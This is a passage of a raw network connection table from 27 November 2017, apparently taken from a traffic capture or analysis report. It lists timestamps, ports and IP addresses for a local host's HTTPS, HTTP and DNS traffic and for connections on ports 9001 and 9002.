Nov 27, 2017 12:34:57.769773006 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.769805908 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.770184040 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.770210981 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.770953894 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.770978928 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.771254063 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.771271944 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.778090000 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.778116941 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.778410912 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.778430939 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.784348965 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.784370899 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.784492016 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.784507990 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.785248995 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.785264969 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.785363913 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.785377026 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.790249109 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.790416956 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.790432930 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.801378012 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.801404953 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.801414013 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.801532030 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.801548004 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.842943907 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.847451925 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.852170944 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.852514982 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.852533102 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.865430117 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.865607023 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.865633965 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.872925997 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.872955084 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.873085976 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.873106956 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.880383015 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.880424023 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.880740881 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.880765915 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.882015944 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.882040977 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.882117987 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.882131100 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.882496119 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.888988018 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.889821053 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.889941931 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.889956951 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.892098904 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.892127037 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.892463923 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.892487049 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.897495031 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.897527933 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.897747040 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.897778988 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.899466991 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.899497032 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.899655104 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.899688959 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.900132895 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.902040958 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.927453041 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.927737951 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.927763939 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.977941990 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.977976084 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.978122950 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.978140116 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:58.014686108 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:58.020246983 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:58.020270109 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:58.020281076 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:58.020284891 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:58.020288944 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:58.020292997 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:58.020297050 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:58.020301104 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:58.020304918 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:58.020308971 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:58.020406008 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:58.020418882 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:58.020427942 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:58.021791935 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:58.025007010 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:58.026602983 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:58.029542923 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:58.032473087 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:58.032494068 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:58.078485012 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:58.078511000 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:58.078531981 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:58.078902006 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:58.119023085 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:58.125973940 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:58.126763105 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:58.126789093 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:58.335613012 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:58.336246014 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:58.794833899 CET	443	49166	192.30.253.112	192.168.1.91
Nov 27, 2017 12:34:58.794891119 CET	443	49166	192.30.253.112	192.168.1.91
Nov 27, 2017 12:34:58.795025110 CET	49166	443	192.168.1.91	192.30.253.112
Nov 27, 2017 12:35:00.580626965 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:35:00.580671072 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:35:00.583821058 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:35:03.605341911 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:35:03.605611086 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:35:03.605846882 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:35:03.606091976 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:35:03.606679916 CET	49166	443	192.168.1.91	192.30.253.112
Nov 27, 2017 12:35:20.026310921 CET	59692	53	192.168.1.91	8.8.8.8
Nov 27, 2017 12:35:20.162957907 CET	53	59692	8.8.8.8	192.168.1.91
Nov 27, 2017 12:35:20.182888031 CET	49173	80	192.168.1.91	174.129.241.106
Nov 27, 2017 12:35:20.182939053 CET	80	49173	174.129.241.106	192.168.1.91
Nov 27, 2017 12:35:20.183505058 CET	49173	80	192.168.1.91	174.129.241.106
Nov 27, 2017 12:35:20.184142113 CET	49173	80	192.168.1.91	174.129.241.106
Nov 27, 2017 12:35:20.184161901 CET	80	49173	174.129.241.106	192.168.1.91
Nov 27, 2017 12:35:20.451468945 CET	80	49173	174.129.241.106	192.168.1.91
Nov 27, 2017 12:35:20.452020884 CET	49173	80	192.168.1.91	174.129.241.106
Nov 27, 2017 12:35:20.457911968 CET	49173	80	192.168.1.91	174.129.241.106
Nov 27, 2017 12:35:20.457938910 CET	80	49173	174.129.241.106	192.168.1.91
Nov 27, 2017 12:35:20.617727041 CET	80	49173	174.129.241.106	192.168.1.91
Nov 27, 2017 12:35:20.618114948 CET	49173	80	192.168.1.91	174.129.241.106
Nov 27, 2017 12:35:20.629460096 CET	49173	80	192.168.1.91	174.129.241.106
Nov 27, 2017 12:35:20.629494905 CET	80	49173	174.129.241.106	192.168.1.91
Nov 27, 2017 12:35:20.792037010 CET	80	49173	174.129.241.106	192.168.1.91
Nov 27, 2017 12:35:20.792397976 CET	49173	80	192.168.1.91	174.129.241.106
Nov 27, 2017 12:35:20.804008007 CET	49173	80	192.168.1.91	174.129.241.106
Nov 27, 2017 12:35:20.804042101 CET	80	49173	174.129.241.106	192.168.1.91
Nov 27, 2017 12:35:21.048703909 CET	80	49173	174.129.241.106	192.168.1.91
Nov 27, 2017 12:35:21.049860001 CET	49173	80	192.168.1.91	174.129.241.106
Nov 27, 2017 12:35:21.105073929 CET	49173	80	192.168.1.91	174.129.241.106
Nov 27, 2017 12:35:21.105097055 CET	80	49173	174.129.241.106	192.168.1.91
Nov 27, 2017 12:35:21.316155910 CET	80	49173	174.129.241.106	192.168.1.91
Nov 27, 2017 12:35:21.316456079 CET	49173	80	192.168.1.91	174.129.241.106
Nov 27, 2017 12:35:28.087328911 CET	49175	9001	192.168.1.91	192.160.102.164
Nov 27, 2017 12:35:28.087368965 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:28.087481022 CET	49175	9001	192.168.1.91	192.160.102.164
Nov 27, 2017 12:35:28.087752104 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:35:28.087771893 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:35:28.087919950 CET	49172	9001	192.168.1.91	31.171.155.108
Nov 27, 2017 12:35:28.087937117 CET	9001	49172	31.171.155.108	192.168.1.91
Nov 27, 2017 12:35:28.088196039 CET	49175	9001	192.168.1.91	192.160.102.164
Nov 27, 2017 12:35:28.088212013 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:28.367677927 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:35:28.367702961 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:35:28.367713928 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:35:28.367758989 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:35:28.393775940 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:35:28.393820047 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:35:28.393829107 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:35:28.393909931 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:35:28.415251970 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:35:28.415404081 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:35:28.415538073 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:35:28.415572882 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:35:28.415586948 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:35:28.416096926 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:35:28.416209936 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:35:28.422671080 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:35:28.433178902 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:35:28.433300018 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:35:28.433315039 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:35:28.667620897 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:35:28.667742968 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:35:28.895081043 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:29.095623016 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:29.095755100 CET	49175	9001	192.168.1.91	192.160.102.164
Nov 27, 2017 12:35:30.855345011 CET	49210	53	192.168.1.91	8.8.8.8
Nov 27, 2017 12:35:30.940119028 CET	53	49210	8.8.8.8	192.168.1.91
Nov 27, 2017 12:35:30.975924015 CET	49177	80	192.168.1.91	174.129.241.106
Nov 27, 2017 12:35:30.975965023 CET	80	49177	174.129.241.106	192.168.1.91
Nov 27, 2017 12:35:30.976061106 CET	49177	80	192.168.1.91	174.129.241.106
Nov 27, 2017 12:35:30.976615906 CET	49177	80	192.168.1.91	174.129.241.106
Nov 27, 2017 12:35:30.976634979 CET	80	49177	174.129.241.106	192.168.1.91
Nov 27, 2017 12:35:31.234874964 CET	80	49177	174.129.241.106	192.168.1.91
Nov 27, 2017 12:35:31.435642004 CET	80	49177	174.129.241.106	192.168.1.91
Nov 27, 2017 12:35:31.435761929 CET	49177	80	192.168.1.91	174.129.241.106
Nov 27, 2017 12:35:35.447993994 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:35.448041916 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:35.448144913 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:35.448822975 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:35.448859930 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:35.449290037 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:35.449763060 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:35.449795008 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:35.450006962 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:35.451078892 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:35.451112986 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:35.453157902 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:35.456301928 CET	49175	9001	192.168.1.91	192.160.102.164
Nov 27, 2017 12:35:35.456331015 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:35.457072020 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:35.457098007 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:35.457462072 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:35.457488060 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:35.457859039 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:35.457885981 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:35.458456993 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:35.458492994 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:36.208168983 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:36.212055922 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:36.212083101 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:36.292352915 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:36.292397022 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:36.295897007 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:36.295923948 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:36.296463966 CET	49175	9001	192.168.1.91	192.160.102.164
Nov 27, 2017 12:35:36.296484947 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:36.445517063 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:36.445543051 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:36.452250957 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:36.452292919 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:36.457763910 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:36.457806110 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:36.880099058 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:36.881139040 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:36.881175041 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:36.977808952 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:36.977852106 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.024637938 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.024662018 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.024853945 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:37.024868965 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.074038029 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:37.074073076 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:37.074223995 CET	49175	9001	192.168.1.91	192.160.102.164
Nov 27, 2017 12:35:37.078337908 CET	49175	9001	192.168.1.91	192.160.102.164
Nov 27, 2017 12:35:37.078366995 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:37.130537987 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:37.134896040 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:37.134927034 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:37.257072926 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:37.257098913 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:37.257179022 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:37.261291981 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:37.261322975 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:37.520549059 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.520600080 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.520617962 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.520874023 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.526603937 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.526648998 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.635149002 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:37.636646032 CET	49175	9001	192.168.1.91	192.160.102.164
Nov 27, 2017 12:35:37.636717081 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:37.727662086 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.727925062 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:37.733386040 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:37.733434916 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.806082964 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:37.806118965 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:37.806368113 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:37.855576038 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.856955051 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:37.857038021 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:37.857337952 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.857378006 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.857496023 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.857511044 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.857579947 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.857590914 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.860389948 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.860430956 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.860510111 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.860519886 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.860626936 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.860641003 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.860697985 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.860708952 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.863293886 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.863333941 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.863442898 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.863455057 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.863545895 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.863558054 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.863683939 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.863696098 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.863820076 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.863832951 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.864017963 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.864031076 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.864151955 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.864165068 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.864221096 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.864231110 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.865370035 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.865397930 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.865466118 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.865478039 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.866799116 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.866827965 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.866914988 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.866926908 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.869677067 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.869710922 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.869784117 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.869796038 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.869905949 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.869918108 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.869975090 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.869983912 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.873373032 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.873406887 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.873506069 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.873521090 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.873600006 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:37.873611927 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:37.978492975 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.982084990 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:37.982134104 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.982547045 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:37.982573986 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.982670069 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:37.982685089 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.983709097 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:37.983731985 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.983984947 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:37.984002113 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.984071970 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:37.984083891 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.984209061 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:37.984225988 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.984556913 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:37.984580040 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.984723091 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:37.984739065 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.984822989 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:37.984833956 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.985245943 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:37.985265970 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.985342026 CET	49183	9001	192.168.1.91	54.36.205.38
